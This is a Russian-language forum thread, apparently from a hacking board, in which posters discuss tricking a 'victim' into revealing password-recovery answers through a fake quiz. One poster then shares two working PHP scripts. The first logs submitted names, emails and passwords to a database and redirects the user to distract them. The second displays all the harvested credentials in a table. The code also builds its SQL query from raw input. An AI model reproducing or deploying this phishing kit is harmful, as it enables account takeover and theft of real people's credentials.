Можно написать какой-нибудь "тест " с множеством вопросов и среди них ввести вопрос, который требуется при восстановлении пароля, а все ответы будут записываться в файл (например .txt) и выложить тест на соём сайте. Ссылочку дать "жертве". Только вот проблема в "написать". Если у кого и получиться выложите, пожалуйста в теме.
Удобней сделать закрытый сайт и как-будто туда без регистрации не попасть , создать саму страничку регистрации и чтобы это сохранялось в файлике... Собственно такой скрипт у меня есть...
check.php PHP: $dblocation = "xxx"; // Имя SQL сервера $dbuser = "xxx"; // Имя пользователя $dbpasswd = "xxx"; // Пароль $dbname = 'polygon4'; $dbfeld = 'Users'; $PARAM = array_merge($_GET, $_POST); $param_names = array_keys($PARAM); $num_params = count($PARAM); $login = $PARAM['name']; $mail = $PARAM['mail']; $pass = $PARAM['pass']; // а теперь поехали с таблицей... header("Location: http://ultimate-action.com/done.html"); //редирект чтоб отвлечь юзера $ip = isset($_REQUEST['ip']) && $_REQUEST['ip'] != '' ? $_REQUEST['ip'] : $_SERVER['REMOTE_ADDR']; $time = date(" h:I:s G"); $dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd); if (!$dbcnx) { // Выводим предупреждение echo ("<P>В настоящий момент сервер базы данных не доступен, поэтому корректное отображение страницы невозможно.</P>"); // Завершаем работу в случае неудачи exit(); } if (!@mysql_select_db($dbname, $dbcnx)) { echo( "<P>В настоящий момент база данных не доступна, поэтому корректное отображение страницы невозможно.</P>" ); exit(); } //Меняем кодировку , чтоб Flash могла её прочитать... #mysql_query("SET NAMES 'utf8'"); //поехали заполнять ответ $query = "INSERT INTO $dbfeld ( `name` , `mail` , `pass` , `time` , `ip` ) VALUES ('$login', '$mail', '$pass', '$time', '$ip');"; mysql_query($query) or die(mysql_error()); mysql_close($dbcnx) // разрываем соединение snow.php PHP: $dblocation = "XXX"; // Имя SQL сервера $dbuser = "XXX"; // Имя пользователя $dbpasswd = "XXX"; // Пароль $dbname = 'XXX'; $dbfeld = 'Users'; $dbcnx = @mysql_connect($dblocation,$dbuser,$dbpasswd); if (!$dbcnx) { // Завершаем работу в случае неудачи exit(); } if (!@mysql_select_db($dbname, $dbcnx)) { echo( "<P>В настоящий момент база данных не доступна, поэтому корректное отображение страницы невозможно.</P>" ); exit(); } $ath = mysql_query("select * from $dbfeld;"); if($ath) { // Определяем таблицу и заголовок echo "<table border=1>"; echo "<tr><td>Имя</td><td>Пароль</td><td>E-mail</td><td>ip</td><td>Время</td></tr>"; // Так как запрос возвращает несколько строк, применяем цикл while($author = mysql_fetch_array($ath)) { echo "<tr><td>".$author['name']." </td><td>".$author['pass']."   </td><td>".$author['mail']." </td><td>". $author['ip']." </td> <td>". $author['time']." </td></tr>"; } echo "</table>"; echo "(copyright) Jes"; } else { echo "<p><b>Error: ".mysql_error()."</b><p>"; exit(); } Вот скрипты